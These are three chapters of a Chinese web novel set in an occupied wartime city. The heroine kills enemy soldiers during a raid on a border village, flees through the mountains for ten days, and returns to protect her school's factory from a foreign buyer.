到了离开的那一天,尹老师看见春妮背的包袱:虽然有点大,但在正常范围内,只当她听了自己的话,将买来的药材又便宜处理了,放心带着她登上了船。 这一天船行顺风,春妮跟尹老师两个上午登船,中午不到就到了肃州。 码头上就有人专门做到明州交界处向导的生意,尹老师跟人攀谈几句话,带着春妮上了一辆牛车。 约走了两个小时,牛车把春妮等几个带到交界处的封锁线,路卡之后,是一段被故意挖得坑坑洼洼的泥巴路。赶牛的大爷不肯再往前走,指点他们道:“你们从那条路穿过去,就是明州地界。那头也有车,你们付了钱,想去哪去哪。” 这路挖成这样,就是为了拦住车马,防止倭国人突然开车过来冲岗。庄户人家吝惜畜力,反正他们两个来前走过一回,尹老师也不为难人,两个人跳下牛车沿着大爷指点的方向走去。 把关的政府军一人收了两个铜元,便放行了。 春妮来的时候就无语过了:明明为交战设置的警戒岗,竟被这些兵痞当成了敛财手段。要是政府军打仗有这么聪明,也不至于轮到倭国人在华国土地上作威作福。 他们现在走的地方,其实是同一座山的南北两面,附近只有这一条宽敞些的山道通往明州。但说是山道宽敞,少说也要走一两个小时。不过这一带没什么岔路,倒不怕走错路。 不知这里战前如何,春妮跟尹老师埋头走了大半个钟头,也没看见第二个人。 走着走着,春妮倒是想起一件事:“哎,尹老师,现在是不是从温南往外运货的,家里没条船都不行?” 来之前春妮问过尹老师,他们的竹块会怎么运出来。尹老师说,现在陆路不通,只能用用打渔船将货直接运到明州港,再走轮船货运,一般三到五天可以抵达海城。 但这样的话,就要冒被倭国人军舰炮轰的风险。 尹老师正要回答,春妮忽然脸色一变,拉着他往林子里闪去:“快藏起来。” 尹老师惊问:“前面有什么事发生了?”话音刚落,枪声在林外响起! 尹老师一跺脚:“怎么是那些畜生来了?跟我来。” 两个人跑到一处山坳趴下,只听见林外的村子里,枪炮声,牲畜叫声,人声哭骂声,乱糟糟响成了一团。 悲嚎声中,一道少女的哭声越来越清晰。 春妮偷偷抬起头,地平线那头出现了一个扎麻花辫的少女,少女的身后,一个穿土黄衣裳,绑绑腿的倭国士兵落后一些,缀在她身后。 眼看少女即将消失在林中,他推枪上膛,照着她的背后就是一枪。 “啪”地一声,少女惨叫着倒下。 那倭国士兵□□着扑上去,撕开了少女的衣服。少女撕心裂肺地哭喊着,挣扎着,慢慢不动了。 “咔”,春妮身边的尹老师,不知什么时候,双眼赤红,将手里的树枝捏断了。 倭国士兵异想不到的机警。 他动作微僵,立刻从少女身上跳起来,端起枪,开始小心翼翼地搜寻,嘴里用生硬的华国话喊:“快出来,出来我不杀你。” 他走着走着,离春妮他们藏身的方向越来越近,眼看咫尺之间就能看见他们。 春妮偷眼看旁边的尹老师,只见他牙关紧咬,身体往上拱了拱。 春妮猜到他想干什么,眼明手快按住他,突然喊了句倭国语:“对不起,打扰了。”抢先从藏身处钻了出来。 倭国士兵猛地一症,他犹豫着枪口向下,叽哩呱啦说了一大串倭国话。 就像春妮设计的一样,这个倭人士兵以为自己在华国的山林里遇到了年轻可爱的小同胞。 但春妮哪听得懂这么复杂的倭国话? 她抱着包袱,冲他鞠了个躬,露出抱歉而困惑的笑容,用倭语说:“对不起,我是海城的学生,我迷路了。不是有意要冒犯您,您能帮帮我吗?”她一边说,一边走近那人。 这几句都是小岛宁次曾一字一字教过她,口音最是纯正的倭国话。 那人果真露出了恍然的笑容,年纪幼小的小姑娘,的确容易让人放下心防。 而这时,春妮也走近了他,抽出被挡在包袱后的匕首! 刀光闪过,那个人捂着喉咙,“呃呃”两声,倒下了。 春妮弯腰查看,一刀毙命,这人已经没气了。 顺手在他衣服上擦干净匕首沾的血迹,听见背后的动静,转身过去,尹老师已经从山坳里爬上来,看着她,眼神有点愣。 “怎么了?” 尹老师叹道:“没什么,我是在想,等回去了,我也去学两句倭国话,防身。” 春妮咧了咧嘴:“别开玩笑了,快去看看那个姑娘吧,她伤的是肩。” “你呢?”尹老师走了两步,发现春妮没跟上来。 春妮将匕首重新插回衣襟(扔进空间),包袱扔给他:“倭军不可能只来一个人,我去山底下探探。你快点打扫战场,带那个姑娘 藏好,等我来找你。包袱里的药材,你看着用。” 第83章 083 心虚 不需要刻意寻找, 只稍稍靠近一些,春妮就知道哪一户人家来了倭国人。 他们毫不掩饰的癫狂大笑,在村民们的嚎哭中为她指明了方向。 还有五个人。 春妮有点不敢相信:倭军一共只来了六个人?不过想想, 去年春妮曾去过的昌远县, 位于那样的要塞,倭军也只布署了一两百人的兵力。 她曾听常文远分析过,兵力不足一直是倭军的短板。别看他们占领华国国土过半,可每占领一座城市,他们真正留下来驻守的军队最多只有五六百人,像海城那样集齐倭国海陆空三军,随处可见的倭军据点才是少数。 这些倭军让人忌惮的, 是武器和机动能力。再是英雄好汉,几发炮弹轰下去, 什么城墙炸不毁?什么人轰不死?再者,倭军通信能力很好,一座城市被攻击,只要撑过刚开始那段时间, 援军很快会赶到。尽管一座城只有几百人守,但华国军队面临的压力是相邻地区的所有倭军。 这里只是明州靠肃州交界处的一个小村子, 几个人带齐武器,也有足够的震慑力了。这么点人,看来这些倭国人只是来村子里扫荡, 并不像是对肃州有军事计划。 尽管只有五个人,春妮没有轻举妄动。因为很有可能, 他们中其他人分散到了别的村子。而这座村子的五个人很快会发现,少了一个同伴。 她必须在其他倭国人发现之前,将他们一网打尽, 好争取时间,逃入深山中。 她首先选中一个落单的士兵,这人正在村子里一棵大槐树后面,春妮摸到他身后时,他分毫不知。被他按倒的妇人在看到春妮时,眼睛放大了一瞬,但咬着牙关,死死盯着她将匕首插入了这个人的后心。 春妮将人拖到槐树后,作了简单的隐藏,没看那妇人,喝道:“还不快逃?” 那妇人如梦初醒,匆忙系上衣裤,呜呜哭着跑远了。 还有两个,则在挨家挨户搜寻物资。村子里所有人都家门大敞,透过洞开的门扉,可以看到,有些人家院子里倒卧的尸体。 春妮掏出手枪,安上消音器,悄悄地干掉了这两个。 这是她这一世第一次使用现代武器,春妮却没有时间有过多的感想。 剩下的人被集中在村口的大磨盘底下,由最后两个倭军士兵看管。 枪口还发着热,春妮从人群最后边,借着人群的隐蔽慢慢向前挪动,寻找最佳射击方向。 刚开始,她很顺利,因为大家都在悲伤恐惧中,没人注意到人群里什么时候多了一个人。 直到她的肩头被一只手扣住,那只手的主人,一个留着山羊胡的老头满脸焦急,小声地同她说着本地土话,将她往身后揽。 可春妮不是本地人,她哪听得懂? 又不好动作过大,用巧劲卸下他的力道,寻机再往前钻:“大爷你放开我,我不乱来,我有事要做。” 山羊胡老头又气又急,不知跟周围人说了什么,动作竟然出人意料的快,一把钳住她胳膊,周围人同时悄悄站过来,越围越拢,将春妮护在了中间。 春妮:“……” 这边的异动很快被倭国人留意到,一名倭国士兵喝斥道:“你的,在做什么?”端着枪向他们的方向走了过来。 春妮前面的大叔身体开始剧烈地抖动,她几乎以为大叔会让开身体,却见他挪动脚步,堵住了人群中的最后一丝缝隙。 春妮心口忽然发烫,她安静下来,听见了步枪上膛的声音。 “对不起。”她学着之前对付那个倭国人的手段,装作惶恐的样子,叫道:“我是海城的学生,我——” 她这声敌国话一出,那些隐隐护住她的村民立刻迅速散开。混乱中,不知有谁推了她一把,春妮踉跄着到了那个人面前。 跟之前被她杀死的人不太一样,或许是站在一群华国人中间,那人枪口仍然端着,问出了一大串话,春妮只勉强听得懂 “你叫什么名字?你为什么会在这里?” 村口的磨盘边,站着最后一名倭人,离她至少有一百米远。 她举起双手,谦卑地哈腰笑道:“我叫春子,是来自海城中学的学生。不好意思,我迷路了。” 那人又说了一句话,春妮的笑容变得有一些困惑。他神色忽然一紧:“站住!” 春妮疑惑:“有什么问题吗?” “你是会说倭国话的华国人?” 春妮脸色微微一变,在其他人看来,就是被戳穿之后的心虚:“是,是的,怎么了?” 他的笑容突然扭曲了起来:“很好,很好。”激动得伸手向她抓来。 春妮如何不明白这笑容中的含义?她这段时间吃好喝好,脸色红润有光,为了镇住温南这些老油条,穿的带的都是自己最好的衣服。在这堆土气老相,穿得破破烂烂的村民里,简直被衬得像天仙一般。 她假装惊慌地要往人群里缩,叫道:“我是倭国友好居民,海城宪兵司令松岛一郎是我父亲的朋友,你不能动我。” 那人被“松岛一郎”这个名字震了一下,春妮趁机撞开人群,往外跑去! 他马上意识上了当,骂骂咧咧地追了上去。 跑了几步,他想起来举枪瞄准,但前面那个女孩子跟兔子一样,忽左忽右地在他前方来回折线跑,令他的枪口无法保持水平线对准目标。 他徒劳地端了会儿枪,听见同伴的嘲笑声,不由恼恨地叫道:“混蛋,你还不过来帮忙?!” 而后面的村民因为这桩意外也乱了,有人瞅住机会,准备往外跑。 最前方的士兵只能一边大骂,一边懒洋洋地提着枪,堵住了春妮的前路。 另一个……另一个没有了机会。 春妮计算着两边的方向,突然合身前扑,那人猝不及防,被迎面扎来的刀子透体而过! 回身解决另外一个的时候,春妮瞥到尚未完全散开的村民,手微微顿了一下,选择扔出了匕首。 倭国军人虽然被刚刚的大变吓了一跳,但反应能力相当不差,他下意识地闪开身体,匕首在他手臂上带掉一块皮肉,掉在了地上。 没等他再度端枪,春妮已经扑到他面前,一脚踹过去,那人踉跄两下,再回神过来时,手上的枪已经被打掉在地,脖子也被死死扼住了。 他张开嘴巴,拼命呼气,一只手掰住脖上的死神之手,另一只手的手指在腰间摸索着,那里有个,有个—— 忽然,他的身体剧烈痉挛两下,不动了。 春妮喘着粗气,抬头望去。 一个男人站在那个倭国士兵身后,双手握住她刚刚掉下来的匕首,匕首上滴滴答答,不断往下滴着血。 一刀致命,那个倭国士兵已经断了气。这个男人杀了他。 春妮将这倭人身上有用的装备卸下来,低声道了声谢,听见身边的村民惊慌失措,四散逃去。 她本待跟着人群离去,看这男人失魂落魄,只好拽住他跑:“快跑啊,还等什么?” 那人被她拉着跑了老远,像是才回过魂一样,“哦”了一声。 春妮回身,把刚刚缴下来的枪和子弹塞给他:“拿着,防身。” 等再回身时,发现很多村民们竟然是直接往自己家跑,不由急了:“快让他们都出来,不能藏在家里。等倭国人援兵到了,他们一个都逃不了!那些人会屠村报复的!” 春妮曾听夏风萍说过,为什么往往两三个倭人就能够看住一个村子,乃至一个城市数千人,因为他们一旦反抗,极有可能招致更加猛烈的报复。战争初期,陆安省有村民合力将进村劫掠的倭人打死,不出两天,倭人大部队杀过来。 方圆十里,鸡犬不留。 这些村民们位于明州偏远地区,不知道看书看报,获取消息的渠道必定相当单一,很有可能还没认识到他们今天做的事有多严重。 “屠?屠村?”那人结结巴巴地重复着春妮的话,猛地回过神来,大喊着:“大伙快跑,倭国人要杀过来了!” 春妮回身看了 一会儿,见村里各家各户燥动起来,有村民挑着筐提着担往外跑,放慢脚步,等了他们一等。 她将另外几条枪发给村民中看上去强壮些的,把最后一条枪给了那位最开始拉住她的老大爷。同下山赶来接应她的尹老师汇合时,她道:“可能我们得在山里躲一阵子了。” 尹老师叹了口气:“也是没法子的事,但愿这次能平安无事吧。” “会平安的。”春妮擦拭着刺刀,问道:“那个姑娘呢?” “我把她藏在一个山洞里,给她留了些药材。”尹老师指指右肩:“她伤得不轻,暂时无法走动。” 春妮看了眼尹老师背上的长枪。那是最先死去倭军的战利品,现在,枪口上的刺刀不见了。 尹老师明白她的意思,低声道:“刺刀我留给了她,万一……” “姑娘!”那个杀倭国人的男人追了上来,将匕首塞给她:“你的刀还给你。” 这人会一点普通话,只是地方口音重,不仔细听,听不太懂。 还了刀之后,他却没有跟家人汇合,跟在春妮后边,道:“你们是路过的外地人吧?我给你们带路,我知道有条小路能去肃州。”他解释道:“倭国人有三个轮子的铁轱辘,跑可快了,不能走那条路回去。” 春妮跟尹老师对视一眼,道:“不必了。你快跟你家里人躲起来吧,跟着我们,可能会有危险。” 他不肯走:“我杀了倭国人,回去也是个死,说不定跟你们跑出去,能挣个活路。” 春妮轻声道:“是我连累了你。” 他摇头道:“不干你的事。那些人害了我姐,我早想杀了他们。我们村里人家,谁没被倭人祸害过?你现在去问我们全村人,保管大伙都拿你当恩人。” 说完,他挥挥手:“快跟上。这座山鬼得很,你们两个人走不出去的,我带你们走。” 尹老师见春妮发愣,拍了拍她的胳膊,正要说点什么,只听这小姑娘突然问:“闻老板,他们打不打倭国人?” 闻老板他们并没有刻意向春妮隐藏自己的另一面,双方都是在心知肚明地做生意。春妮一直认为,不捅破窗户纸,是对彼此最好的保护,但从今天开始,这个糊涂,她不想再装下去了。 尹老师深深看她一眼,吐出一个字:“打。” “要是这次能活着回去,我亲自去说服方校长,从这个月起,每个月另外拨一百块经费给他们。” 第84章 084 百感交集 走出明州交界的那座大山, 已经是十天之后。 正如春妮几个人曾经猜测的那样,事情总会向最坏的一面发展。 那几名倭国士兵死后不到二十分钟,在其他村子扫荡的倭军就发现了。他们召集齐所有的兵力, 挺进大山, 展开了地毯式搜索。 原本有罗阿水这个本地人带路,春妮他们最多多用一天功夫就能走出大山。在肃州躲一阵子,或是干脆绕道其他地方,三五天时间,怎么也能回海城。 但从事情的一开始,春妮就发现,这批追踪过来的倭国士兵异常凶残。她和尹老师两个人设计了好几个甩脱追兵的招数, 竟都被他们识破,并不依不饶追踪上来。 那些倭人部队离他们最近时, 春妮都能听到跟来的狗叫。罗阿水也根据倭人留下的痕迹判断,山上有人带了狗。 后来,春妮从一名受伤失手被他们擒住的倭人口中得知,这些倭国人原本就是收到情报, 在挨村搜查一名抗倭要犯,所以才会随行配备狼犬。那六个落单的倭人士兵是在搜查之余, 奉命为自己和队伍长官加练的“余兴节目”。 尹老师猜测,那些人可能将自己两人当成了原先要抓捕的抗倭分子,才会咬在身后死死不放。 幸好罗阿水说, 打仗之前,他是本村的猎人, 有时也会去肃州收土物到明州贩卖,对这一带大山路途熟悉得不能再熟悉。凭借地利,几人虽然没被倭国人抓住, 可也几次险死还生。 到了第三天,整个明州地区的倭军好像都被调到了这座山头,隔着老远都能听见人声犬声。如果不是有罗阿水在,春妮和尹老师的体力没有拖后腿,他们这次可能真的就栽了。 当然,这也跟春妮借用了空间里的气味道具几次将猎犬鼻子迷惑过去有关。 即便如此,他们也有好几次跟搜来的倭军短兵相接,动了真家伙。 春妮把枪送给村民时,因为时间来不及,只送了两个弹夹,这些剩下的军火帮了大忙。而罗阿水的枪法也很准,三个人互相支持,终于在第十天的晚上穿越整座山脉,到达了南江省的另一个城市——兴城。 这十天的山林生活,已经足够让春妮和尹老师嗅到重重的危机。 进城之前,三个人决定分开回到海城。因为罗阿水没去过海城,身上也没有良民证,两个大男人结伴同行过于打眼,便由春妮带他走,尹老师自己找机会单独离开。 进城之前,春妮用剪刀自己将头发理成板寸,找来一套村里小子穿的粗布衣裳,让罗阿水先留在城外,去城中布告栏看过,终于确定那些倭国人追踪的目标。 他们要捉拿的,据说是从西部抗倭腹地来的大人物。布告栏上的人浓眉大眼高颧骨,跟罗阿水和尹老师两个同行的男人相貌差距都很大。看到这里,春妮算是放了心。 想来之前的那些村民们有被倭国人搜出来过,布告栏上也有一个梳齐耳短发的小女孩,应该就是他们从村民口中问出来的春妮。 兴城学风甚浓,大街上到处是穿蓝衣黑裙,梳齐耳短发,作学生打扮的女学生,十个有八个都是布告上的小嘴巴大眼睛。春妮剪了个板寸,还穿着小子的衣裳,布告上的人反而怎么跟她都扯不上关系。何况这十来天的山林生活,她早就不像先前那样白皙俊秀。 她跟在金城那样,想办法找黄牛弄来两张仿制的良民证,换上兴城农民常穿的短衣短褂,为了不让人从口音上瞧出不对,她装成个重度结巴,跟罗阿水两人以兄弟两人的名义坐上了去海城务工的牛车。 辗转数天,回到海城,学校里,方校长头发早就急白了。 看见春妮,校长和师母几乎不敢相认:“你这个小丫……你怎么才回来啊?知不知道这些天我们都要给你吓死了?” 再次踏上熟悉的地盘,春妮何尝不是百感交集,一手一个校长,一手一个师母,嘴里不住说:“没事了,我回来了,这不是没事了吗?” 这些天真的让方校长煎熬不轻,他不知多少次后悔自己鬼迷心窍,当初怎么就答应放春妮一个小姑娘出了海城。自她从温南回去失踪后,方校长天天数着日子盼她回来,没有一天晚上真正睡得着觉。 他一个大男人,竟抓着她的手嚎啕大哭:“你要是再不回来,我真的撑不住了。你不知道,夏生这些天一下课,天天抱着你的衣裳哭。要不是前几天尹老师回来,跟我们说你还好好活着,好好一个孩子,只怕眼睛已经哭坏了。”说着话,方校长叫师母:“对了,夏生,他娘,快去教室叫夏生出来,跟他说,他姐姐回来了。” 方师母却不肯撒手,也哭成了个泪人:“他爹,你去叫吧。我看见这孩子,腿都软了,我走不动道。都怪你们,这么些大男人,尽可着个小闺女使唤,看看孩子遭的什么罪,可心疼死我了。” 校长和师母一个比一个哭得厉害,弄得春妮的鼻子也酸酸的。 她吸了吸鼻子,正想说话,听见教室的方向忽然传来纷乱的脚步声,夏生打头,他身后一整个班的学生都跑了出来。 夏生抱住春妮的腿死死不放,哇哇大哭:“姐姐,你怎么才回来啊?” “小顾老师,你这些天都去哪去了?” 方校长急忙抹了眼泪,斥道:“干什么干什么?怎么都跑出来了?夏老师,你怎么也跟着这些学生胡闹?” 夏风萍抱住春妮的胳膊,克制住了没哭:“校长,你看这个样子,我还教得下去吗?春妮进学校那会儿,就有学生认了出来,大伙都挂记着她,都想来看她。春妮,你说你,这些天都跑哪去了?”说到最后,到底带出了一丝哭腔。 这时,夏生的同桌大胖道:“是啊。小顾老师,你不在学校,好多人来欺 负咱们。” 另外一个女孩子忙斥道:“大胖你瞎说什么,让不让小顾老师好好休息了?” 春妮回来时已经觉出了有些不对,她正想问:“我路口的摊子呢?怎么没人了?” 这一问,大胖的眼泪也兜不住了:“被人掀了摊子。小顾老师,那些人打了蒋四哥,还放话说,要是我们再敢在这摆摊,见一次打一次。” 在座的学生中,除了夏生,就数大胖对小摊最有感情。他妹妹二丫在小摊打了半年多的杂,最是知道知道春妮为人大方,虽说没给小妹开工钱,可小妹每天回家,都能拿食物回家,正好够他们一家人吃。大胖他妈是知恩之人,心里明白这是春妮有意照顾,别看二丫没有工钱,可光这些食物就抵得上平常人家一个成年人做工的工钱,因而时常教导大胖兄妹,要把小顾老师当成亲人一样看待。 这会儿大胖见了春妮,果真跟见了亲人一样,头一件事记得就是要告状。 “是谁放的话?”春妮这会儿已经收拾好心情,坐下来让大胖慢慢说。 方校长见瞒不住了,只好让其他学生回去上课,你一言我一语,跟大胖两个将这段时间发生的事说了出来。 别看春妮自从到了码头,只是兢兢业业地经营着她的小吃摊,从来不惹事。但老江湖谁不知道?这个平平无奇的小吃摊让红帮的袁八爷亲自开口,免了她的抽头?再加上她是唯一一间连晚上都敢开门做生意的小吃摊,吃食的口味做得偏偏还不错,暗中忌惮,或者说是暗里瞧这个小摊不顺眼的人多了去了。 平常小吃摊有春妮镇着,没谁敢不长眼来触霉头。但这回春妮的突然离开,偏偏学校又不说她去了哪,干什么去了,刚开始那几天还好,慢慢的,就有流言传开,说春妮惹了不该惹的大人物,抛下家业躲难去了。 当然,有脑子的人看见学校里能跑能跳的夏生,也不会信这话。但前几天尹老师提前归来,跟方校长和几位老师说话时,不知叫谁听去了一言半语,竟传出春妮已经被大人物寻仇打杀,客死异乡的谣言。 谣言越传越凶,任是方校长怎么跟外头辩说,就是被人认定他在掩盖实情。前些天,终于有人没忍住,向小吃摊伸了手。 大胖说,这段时间,蒋四成他们遇到过两伙流民打劫,第一回他们跑得快,没吃什么亏,第二回,那伙流民从菜场追到小吃摊,砍伤好几个同学,还把摊子掀了,将食物一抢而空。 春妮问:“夜里呢?夜里有人抢吗?” 大胖摇头道:“德三哥没说,但我听有人说,夜里好像这边摊子上放了枪。” 春妮冷笑,他们这是知道李德三手里有枪,拣着软柿子欺负来了。她才不信有这么巧,连着两次都是她的人出事。 春妮心里一肚子火气没处发作,站起来同方校长道:“我去那几个受伤同学家里看看,这位罗阿水罗大哥,还要麻烦校长帮忙安顿,以后他就是我们学校的人了。” “哎。”校长欲言又止,一直送春妮到校门口,方不舍地道:“你早点回来,一个姑娘家,别在外边待久了,危险。” 春妮知道他是被吓怕了,不厌其烦答应了又答应,拖着抱住她,怎么也不放手的夏生,出了校门。 等到一圈家访做下来,春妮心里也有了点数。 蒋四成那个孩子是真的机灵,他其实没受大伤,之所以传出这样的消息,正是因为他也觉出了不对。 正好春妮给他的菜钱再精打细算也用得差不多了,而没有她手工揉制的馒头,小摊上只有糊辣汤和卤煮,原本只有稀汤就不好留客,他顺势将摊子关了,想着避避风头,等过段时间再说。 这小子在家也没闲着,使了些钱托人打听,倒真的打听出了一点消息。 果真不出春妮所料,凶手正是跟她同在码头做早点生意的一户摊主。他觉得,春妮的出现抢了他不少生意,早就记恨在心,这回以为她死在外头,当即忍不住,找来流民下了手。 虽说有同行相忌,但春妮在这一带做生意,价格公道,味道也不差,光是那碗姜汤,就惠及了多少码头苦力汉。更不用提她在学校和工厂有地位,每回有了什么活,也愿意帮衬穷兄弟们吃饭,结下多少善缘。 找到仇家,只要春妮回来,不用她出手,有的是人愿意帮她教训对方。 春妮放出消息,不出五天,那户摊主就干不下去,连夜收拾家当,不知搬到哪去了。 这样的人物,原本也不在春妮的眼里。但通过这次的事,她深深以为,提高这些学生和学校护卫队的武力值势在必行,不能次次等着她出头。哪怕要付出点代价,也必须尽快找到场地,让他们好好训练。 这是回家之后,一等一的大事。哪怕有人要强行收购工厂,也比不上这件事要紧。 第85章 085 平平无奇的体育□□ 要春妮说, 学校目前所有问题的根源,均在于自身实力不足。 无论是社会关系上的软实力,还是学校自身的武装力量, 都有相当大的缺陷。 这次回来后不久, 春妮得知,租界里有人出手,想收购玩具厂。收购方跟上次的青帮小头目不一样,是个英国人。在海城,只要是个外国人,就能趴在华国人头上吸血,何况这次的英国人据说有些来头, 是警务处处长柯莱恩的座上宾。 在春妮回来之前,韩厂长他们已经跑遍了所有能跑的关系, 包括纳尔逊在内,没有一个愿意伸伸手,哪怕牵个头帮忙说和的,都没有。 无事歌舞升平, 有事一遁万里,原本就是这个圈子的常态。 方校长的白头发, 一半是为春妮和尹老师急出来的,另一半便是因为这件事连连碰壁,从未有过的压力差点真的把他压垮。 像方校长说的那样, 春妮再不回来,他也许不至于真顶不住, 但学校一定有大|麻烦。 春妮回来的前一天,那个叫查理的英国人放了狠话,问方校长拖拖拉拉的, 是不是想请柯莱恩处长亲自跟他说? 这样一问,方校长不敢再心存侥幸,查理背后的那人隐然跃出了水面。 而离他头一次放话说想要收购,也才不过半个月。 某些人是看睡美人越卖越火爆,厂子里的机器从天黑轰到天明,再从天明轰到天黑,自己一点插不上手,只能干瞪眼,着急了。 王老师唉声叹气:“比双城政府还不是东西,至少那些人最多只想要钱,这些人连下蛋的鸡都要抱走。” 胡老师则道:“都是豺狼,就别分高低了吧。” 胡老师家里也是阔过来的,到她父亲这一代有所败落,可手里捏着十来间旺街商铺,并不愁吃喝。正因如此,她父亲被人盯上做了局,一夜之间输光家产。她父亲求告无门,自杀身亡,母亲活活气死。她在姑母家中长大,虽然跟姑母家的孩子们一样上学,成绩也能上大学,但大学学费高昂。寄人篱下的日子没那么好过,她只能中学一毕业,就立刻出来工作。 按胡老师的说法,从那时起,赌场就跟官府暗下里有勾勾缠缠的关系,到现在的市政府,不过是更不要脸,干脆拉下遮羞布,将赌场打手请进家门,那些粗鄙凶蛮的小瘪三们摇身一变成了市长保镖。 出了这件事之后,方校长原还想瞒着大伙自己解决,可对方哪给他这个时间?不出三数天,厂里所有员工都知道了这事。 有人来挖角了。 尤其是舒老师,他曾坦承,私下里,不止一间公司接触过他,个个开出的价钱比学校高。他念着学校对他不赖,都拒绝了。其他老师他也听说过,有人也在接触他们。有老师已经动摇,据说正在犹豫是不是要同校长辞职。 还有工人中也有了些风言风语。 不过工厂的工人都是从学校学生中遴选出来,这些学生们被学校免费教导,一毕业,什么不用操心,就有收入不错的工作,没 有学校,多少人还是街上朝不保夕的流民,学校的老师和学生,不是一般的师生关系。虽然有人心思浮动,但有像李铁柱这样的学生领袖压制,暂时还算稳当。 方校长给春妮放了两天假,让她吃好喝好,养足精神再回学校。并打包票说,罗阿水的事也给她安排得妥妥当当,保证不让她操心。 回海城的第三天,方校长主持开了一次会。 这是春妮大难不死回海城后,学校举行的第一次会议。 会议上,老师们义愤填膺,一个接一个地提建议,争取保住工厂,无非都是老生常谈——让校长想办法见到卫老爷子,或是福纳先生,或是其他有权势的大人物,争取打动他们。 春妮回来这两天,忙着各种杂事,原本就没睡好,老师们的吵吵声多数是在发泄愤怒,她没听出多少有意义的内容,不由越听越磕睡,不知不觉,头越埋越低,最后,一点一点地,睡着了。 老师们争执老半天,才发现打着磕睡的春妮,面面相觑,也渐渐安静下来。 韩厂长赶紧来推春妮,让王老师叫住了:“别叫醒她,让她好好睡,还是个孩子呢。” “你们说,小顾老师是不是有什么办法了啊?”有老师小声问。 其他老师们没说话,不约而同,大家眼睛里亮起了希望的光。 不怪他们这样依赖春妮这个孩子,而是在这个孩子身上,他们实在是看到了太多的奇迹。她离开的这段时间,受煎熬的何止是方校长一个人? 有老师们吵架当催眠曲,春妮这一觉睡得特别香。她的确是很累,但学校面临的危机,她也是真的没有头绪。 她不过是没有老师们这么慌。 在很久很久以前,春妮做事之前就习惯于作好最坏的准备。 最坏不过,东西舍出去不要了。 这一年多以来,海城的规则她已经摸清了一点。她既然在海城有本事弄出一个“好多趣”,也有本事弄出第二个。 问题在于,她弄出再多个“好多趣”,学校没能力守住。工厂不也是养猪厂里的肉猪,养熟了,好等着人来杀猪放血过大年? 但他们真的走到绝境了?春妮觉得,未必见得。 青帮凭什么能跃居海城□□之首,无非就是从上到下规矩严整,敢拼敢打。又恰逢乱世,富人们需要投靠一方势力做保护|伞,穷人们也要抱团取暖,寄望于帮派势力为他们资本家抗争。 但□□就是□□,青帮从成立起,便不是为这两个群体服务的社会团体。它吸足了底层人的血汗钱,成为资本家的打手和帮凶,再反过来操控奴役他们,使得穷人的生存环境益加恶劣。 之前跟春妮同住一栋房子的金小姐,介绍她来海城进纱厂的同乡便是青帮在当地的一个小头目。所以,青帮的人多,惧怕痛恨他们的人,只会更多。 再说多点,就扯远了。 总之,春妮算是看出来了,想在海城这种地方有立足之地,绝不能怕事,不能总想着去抱大腿,以为靠绥靖可以获得一时安宁。 他们必须转变思路,靠自己解决这次的麻烦。 春妮经历过最混乱无序的末世,知道任何社会,只要有人,都有它的规矩,即使作为海城金字塔最顶尖的英国人,他们的权力也不是毫无约束,总逃不出某个大框架。 就像柯莱恩,他想要玩具厂,为什么不自己直接来抢?还不是因为他也有他的规矩要讲。相对青帮这些到处敲诈勒索的小混混,警务处长是穿鞋的人,他做事不能太难看。 但春妮也听本地人说过,外国人从来不讲究吃相。以前不是没有过警务处长直接派手下警员骚扰工厂,导致对方关停产业低价卖出的事。但工部局这一任的警务处长行事作风很直接,他真的想要玩具厂,不会使用这样曲折的手段。 这个叫查理的人,要么是借柯莱恩名声来讹诈的骗子——这一点,方校长已经辗转证实过了,查理跟柯莱恩关系真的不浅。要么,柯莱恩有什么顾忌,不能直接出手。 春妮现在要弄清楚的,就是柯莱恩的顾忌在哪里,自己这方该如何应对。 那么学校抗衡的底气在哪里?无非有两点:一,人多;二,有钱,不怕砸钱。 柯莱恩那边的事情想打听出来比较麻烦,但他们可以先做到另外两点。 开完会的第二天,春妮让工人们制作了数根木棒,给护卫队和十五岁以上的大孩子每人配备一根,她则拄棍站在最前列,说道:“这段时间,学校工厂被外人觊觎的事,想必大家都知道了。来人是个英国人,认识很多海城权贵。老实告诉大家,这次的事很棘手。学校已经做好了最坏的准备,那就是把工厂卖出去。但是,学校的经费全部靠工厂盈利才能取得。也就是说,一旦工厂易主,大家要做好失去课本,失去食物,乃至于失去学校的准备。” 随着工厂的盈利能力越来越强,学校在数天前开始给学生供应早餐。很多孩子一天的饭都在学校解决,没有了学校,有人是真的会饿死。 “什么?这么严重?”学生们哪知道学校的财务问题?只是对校产被外人觊觎的事感到本能的不快。被春妮一挑明,立刻全都慌了。 “啊?学校要没了?那我们怎么办?” “我他妈跟那群洋鬼子拼了!” “我原来的学校也关了,每天转两个小时的车,就为有学上,为什么这里也要关了……” “……” “安静!安静!”李铁柱站在最前面,用力挥手,“我们听听小顾老师有什么主意。” “我说过,这次的事情很棘手。暂时,我也没有想出办法。但是,”春妮提高嗓门,压住下面学生越来越激动的喊声:“我明白大家都不想让学校关门,但是,但是,什么事不是咱们想怎么样就怎么样。唯今之计,我只能在学校还在的时候,尽量让大家学到更多的东西,万一,我是说有万一,王富贵,你把棍子给我放下!万一有那一天,你们也好多一点自保之力。都听好了,从今天开始,每天早上,每个人绕街跑三千米,一个都不许迟到!” 说完,她让李铁柱列队,领着队伍跑出了学校。 学校经过几次扩张,仍然舍不得留个位置给操场。学生们每天一千米晨跑,都是绕码头的这十几排仓库跑一圈完事。 跑着跑着,学生们发现了不对:“怎么这次没绕仓库跑?小顾老师你准备带我们去哪?” 去哪? 当然是去查理家。 既然查理向他们展示了自己的能量,她怎么说也得礼尚往来一下吧? 李铁柱跟跑在春妮身边,他对春妮比其他人了解一些,看见她的神色,心里直打鼓,忍不住问道:“小顾老师,你心里到底怎么想的啊?” 春妮瞪他:“能怎么想?跑你的步。” 她又不傻,领着学生送上门去让人虐菜,那些英国人在海城办了个猎|枪协会,美其名曰合法持枪,明刀明枪干起来,他们是真的有可能会放枪。春妮不过是让他们经过查理家时,喊的号子更响一点,手里舞的棍子更凌厉一些罢了。 至于查理叫嚣的威胁?不存在的;恐吓?更不存在。 那些学生们有没有在晨跑中认出查理,继而领悟出什么奇怪的内容自由发挥,比如说,棍子突然失手,打碎了查理家的玻璃,再比如说,跑起来突然兴起踹了他家的门……孩子调皮,更与她无关了。 巡捕房来人拘捕她?什么罪名?证据呢?证人呢?她可是什么都没怂恿过。 顾春妮现在可不是无依无靠的小难民,她有钱,至少请律师的钱她不缺,就是她没有,学校有,工厂也有。 